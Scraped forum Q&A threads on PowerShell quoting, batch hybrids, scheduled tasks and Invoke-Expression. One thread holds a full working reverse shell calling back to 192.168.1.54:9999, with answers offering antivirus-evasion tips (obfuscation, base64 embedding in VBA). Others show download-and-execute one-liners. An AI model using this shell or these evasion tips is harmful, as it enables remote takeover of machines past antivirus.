Trying to run a powershell command from bat script - powershell

I am trying to run the following powershell command from a .bat script
[void] [reflection.assembly]::loadwithpartialname("System.Windows.Forms")
[reflection.assembly]::loadwithpartialname("System.Drawing")
$notify = new-object system.windows.forms.notifyicon
$notify.icon = [System.Drawing.SystemIcons]::Information
$notify.visible = $true
$notify.showballoontip(10,"Copied!","Map names have been copied to the clipboard",[system.windows.forms.tooltipicon]::None)
the code is intended to produce a simple balloon notification in the bottom right hand corner of the screen
I have tested the code in powershell and it works just fine there, however i cant get it to work in cmd / via a .bat script
i dont want to have to point to a seperate powershell file, i need it all to run from within this one script
I have realised that i need to address that this is a powershell script at the beginning of the script so that it runs correctly so i have modified it to the following:
powershell -Command "& {[void] [reflection.assembly]::loadwithpartialname("System.Windows.Forms"); [reflection.assembly]::loadwithpartialname("System.Drawing"); $notify = new-object system.windows.forms.notifyicon; $notify.icon = [System.Drawing.SystemIcons]::Information; $notify.visible = $true; $notify.showballoontip(10,"Copied!","Map names have been copied to the clipboard",[system.windows.forms.tooltipicon]::None);}"
from everything i have read on here for people with similar problems this should work, i can get cmd to run other simple powershell commands which appear to work just fine, such as
powershell -Command "& { Get-Process }"
so what am i doing wrong here?
when i run the above code i get the following error message on cmd
At line:1 char:54
+ & {[void] [reflection.assembly]::loadwithpartialname(System.Windows.F ...
+ ~
Missing ')' in method call.
At line:1 char:54
+ ... eflection.assembly]::loadwithpartialname(System.Windows.Forms); [refl ...
+ ~~~~~~~~~~~~~~~~~~~~
Unexpected token 'System.Windows.Forms' in expression or statement.
At line:1 char:3
+ & {[void] [reflection.assembly]::loadwithpartialname(System.Windows.F ...
+ ~
Missing closing '}' in statement block or type definition.
At line:1 char:74
+ ... flection.assembly]::loadwithpartialname(System.Windows.Forms); [refle ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:120
+ ... m.Windows.Forms); [reflection.assembly]::loadwithpartialname(System.D ...
+ ~
Missing ')' in method call.
At line:1 char:120
+ ... s); [reflection.assembly]::loadwithpartialname(System.Drawing); $noti ...
+ ~~~~~~~~~~~~~~
Unexpected token 'System.Drawing' in expression or statement.
At line:1 char:134
+ ... ); [reflection.assembly]::loadwithpartialname(System.Drawing); $notif ...
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:300
+ ... ormation; $notify.visible = $true; $notify.showballoontip(10,Copied!, ...
+ ~
Missing expression after ','.
At line:1 char:300
+ ... n; $notify.visible = $true; $notify.showballoontip(10,Copied!,Map nam ...
+ ~~~~~~~
Unexpected token 'Copied!' in expression or statement.
At line:1 char:307
+ ... ; $notify.visible = $true; $notify.showballoontip(10,Copied!,Map name ...
+ ~
Missing argument in parameter list.
Not all parse errors were reported. Correct the reported errors and try again.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
is it something to do with the syntax i am using? maybe to do with spaces or something?

You can embed your PowerShell script and execute it from a batch file with this hybrid method, and you will don't worry about any escape special character anymore :
<# : Batch Script Section
#rem # The previous line does nothing in Batch, but begins a multiline comment block in PowerShell. This allows a single script to be executed by both interpreters.
#echo off
Title Embed And Execute Powershell Script with a Batch file in Hybrid Mode & Mode 70,3
cd "%~dp0"
Color 1B & echo( & Echo(
Echo( Please Wait ... Loading PowerShell script is in progress ...
Powershell -executionpolicy bypass -Command "Invoke-Expression $([System.IO.File]::ReadAllText('%~f0'))"
EndLocal
pause
goto:eof
#>
# Powershell Script Section begin here...
# Here we execute our powershell commands...
[void] [reflection.assembly]::loadwithpartialname("System.Windows.Forms")
[reflection.assembly]::loadwithpartialname("System.Drawing") | Out-Null
$notify = new-object system.windows.forms.notifyicon
$notify.icon = [System.Drawing.SystemIcons]::Information
$notify.visible = $true
$notify.showballoontip(10,"Copied!","Map names have been copied to the clipboard",[system.windows.forms.tooltipicon]::None)
Here is an example that I used this hybrid method : SpeedTest_Hackoo_Ookla.bat

Related

'[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ;\UpdateView.exe' is not recognized as the name of a cmdlet

I have the following inside my Power Shell PS1 file, to set Tls12 + call .exe :-
Show-Message -Message "Step 1a: Create groups and adding users to it"
& "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $HelperPath\UpdateView.exe" "true" $Username $Password
If ((Get-Content $ErrorLogFile) -ne $Null) {
Show-Message -Message "Creating group and adding users to it failed" -Type ([MessageType]::Failure)
RevertAll $ScriptDirectory 1
return
}
but i am getting this error:-
& : The term '[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
\UpdateView.exe' is not
recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if
a path was included, verify that the path is correct and try again.
At C:\c\tree\master\cloud\src\deployments\Scripts\Deploy.ps1:352 char:7
+ & "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityPro ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: ([Net.ServicePoi....UpdateView.exe:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
any advice please?
&, the call operator takes a command / executable name / path only as an argument, not whole statements.
(While it can also accept a script block { ... } containing one or more full statements, there's no need for it here, though you can generally use it to create a child scope).
Simply execute the two statements in sequence:
# Set the protocol (an assignment statement)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
# Call the executable (a command call).
& $HelperPath\UpdateView.exe" true $Username $Password

PowerShell Error - Scheduled Task - expression expected

I am setting up scheduled tasks for logging off disconnected sessions. I setup the task with the action of opening PowerShell.exe with the argument shown below
powershell.exe -ExecutionPolicy Bypass -NoProfile -command "Invoke-command -ScriptBlock {quser | Select-String "Disc" | ForEach {logoff ($_.tostring() -split " +")[2]}}"
The argument works by itself in PowerShell but when I try to create this task it fails with the error:
powershell.exe : At line:1 char:89
At line:2 char:1
+ powershell.exe -ExecutionPolicy Bypass -NoProfile -command "Invoke-co ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (At line:1 char:89:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
+ ... {quser | Select-String Disc | ForEach {logoff (((.tostring() -split ...
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ExpectedExpression
I believe that I need to have the expression evaluated for the string to populate correctly and have tried escaping both quotes and parentheses to try to get it to work. Any help would be greatly appreciated.
Your problem are probably the quotes. Mind you have to properly quote and escape your command line arguments. You can use single quotes inside your command for simplicity, or skip them alltogether if not needed. Also, the Invoke-Command is redundant.
Try this:
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "quser | Select-String Disc | foreach {logoff ($_.Line -split ' +')[2]}"

powershell reverse shell AV evasion

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?
In a file I store the payload $client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
then I use xencrypt (https://github.com/the-xentropy/xencrypt) to obfuscate the code but when I
run powershell -NoP -NonI -W Hidden -Exec Bypass .\revshell.ps1
I get Questo script include contenuto dannoso ed รจ stato bloccato dal software antivirus.
In riga:18 car:1
+ IEX($piifnga)
+ ~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
QUESTION: is there a way to bypass this check?
Have you tried Unblock-File .\revshell.ps1 before trying to run the reverse shell script (understanding the risks associated with running untrusted code downloaded onto the machine)?
Just encoded it or you can change it to base64 to embed it to vba

How to pass arguments to an Invoke-Expression, in PowerShell?

I have the following (not working) PowerShell script:
$scriptPath = ((new-object net.webclient).DownloadString('https://gist.githubus
ercontent.com/AndrewSav/c4fb71ae1b379901ad90/raw/23f2d8d5fb8c9c50342ac431cc0360ce44465308/SO33205298')); $args = "`"aaa
bbb`""; iex $scriptPath $args
So I'm:
downloading the script to execute.
settiping up my argument list to send into the script
executing the script (for me, this is in the cli right now).
but it's erroring:
Invoke-Expression : A positional parameter cannot be found that accepts argument '"aaa bbb"'.
At line:1 char:209
+ ... 44465308/SO33205298')); $args = "`"aaa bbb`""; iex $scriptPath $args
+ ~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Expression], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.InvokeExpressionCommand
How can I pass in the args to this script?
Note: this question references/spawned from this other SO question.
You should try something like this :
$scriptPath = ((new-object net.webclient).DownloadString('https://gist.githubusercontent.com/AndrewSav/c4fb71ae1b379901ad90/raw/23f2d8d5fb8c9c50342ac431cc0360ce44465308/SO33205298'))
Invoke-Command -ScriptBlock ([scriptblock]::Create($scriptPath)) -ArgumentList "coucou"
You have to create a ScriptBlock from source before invoking it.
As a pure one liner (you don't need to create the scriptblock separately)
Also, using DownloadData in case the script has UTF-8 characters. Finally, Use an array for the ArgumentList to avoid issues with spaces in args.
powershell -nop -ExecutionPolicy Bypass -c "Invoke-Command -ScriptBlock ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((New-Object Net.WebClient).DownloadData('https://server.com/upload/script.ps1')))) -ArgumentList #('somearg','someotherarg')"

Run tdpsql command from powershell

I have a script that requires 3 mandatory input parameters that will be used to run the backup command for tdpsql.
type (FULL, DIFF or LOG)
SQLServerinstancename
Database (SYSTEM, ALL, )
Within the powershell script I have the following line
$cmd = "C:\Progra~1\Tivoli\TSM\TDPSql\tdpsqlc.exe backup " + $idatabase + " " + $action + " " + $parameter + " /LOGFILE=" + $logdir + $logfile + "" $tdpsqlexe - The tdpsqlc exe.
$idatabase - Database name
$action = FULL\DIFF\LOG
$parameter = /sqlserver=TCP:" + $sqlserverinstance + " /SQLAUTH=INT /TSMOPTFile='" + $dsmoptfilename + "' /EXCLUDEDB=" + $exclude
& $cmd
When I echo the command it reports out what I use to run it using powershell command line but when I try to run it from Powershell with the & it fails with the following
The term
C:\Progra~1\Tivoli\TSM\TDPSql\tdpsqlc.exe
backup master FULL
/sqlserver=TCP:
/SQLAUT H=INT
/TSMOPTFile=C:\Progra~1\Tivoli\TSM\TDPSql\dsm.opt /EXCLUDEDB=tempdb /LOGFILE=<logfile>
is not recognized as the name of a
cmdlet, function, script file, or
operable program.Check the spelling of
the name, or if a path was included,
verify that the path is correct and
try again. At TDPSQLBackup.ps1:166
char:6
+ & <<<< $cmd >> test2.txt
+ CategoryInfo : ObjectNotFound:
(C:\Progra~1\Tiv...forsqlimran.txt:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
Any help will be really appreciated.
You might try Invoke-Expression $cmd instead of & $cmd.
Yes better use Invoke-Expression, but if you still want to use & you can do it in this way.
$cmd = "C:\Windows\System32\notepad.exe"
$params = "C:\temp\file.txt"
& $cmd $params
Using a var for program file ans a var for parameters.
Instead of running a batch command you'd better try Powershell cmdlets as follow
import-module "C:\Program Files\Tivoli\Flashcopymanager\fmmodulemmc.dll"
import-module "C:\Program Files\Tivoli\Flashcopymanager\fmmoduleSQL.dll"
$startTime = get-date
Backup-DpSqlComponent -Name AdventureWorks2012 -BackupDestination TSM -BackupMethod Legacy -Full
$endTime = get-date
$activity = Get-FcmMmcActivity -StartTime $startTime -EndTime $endTime
$activity
Reference link
http://www-01.ibm.com/support/docview.wss?uid=swg21974345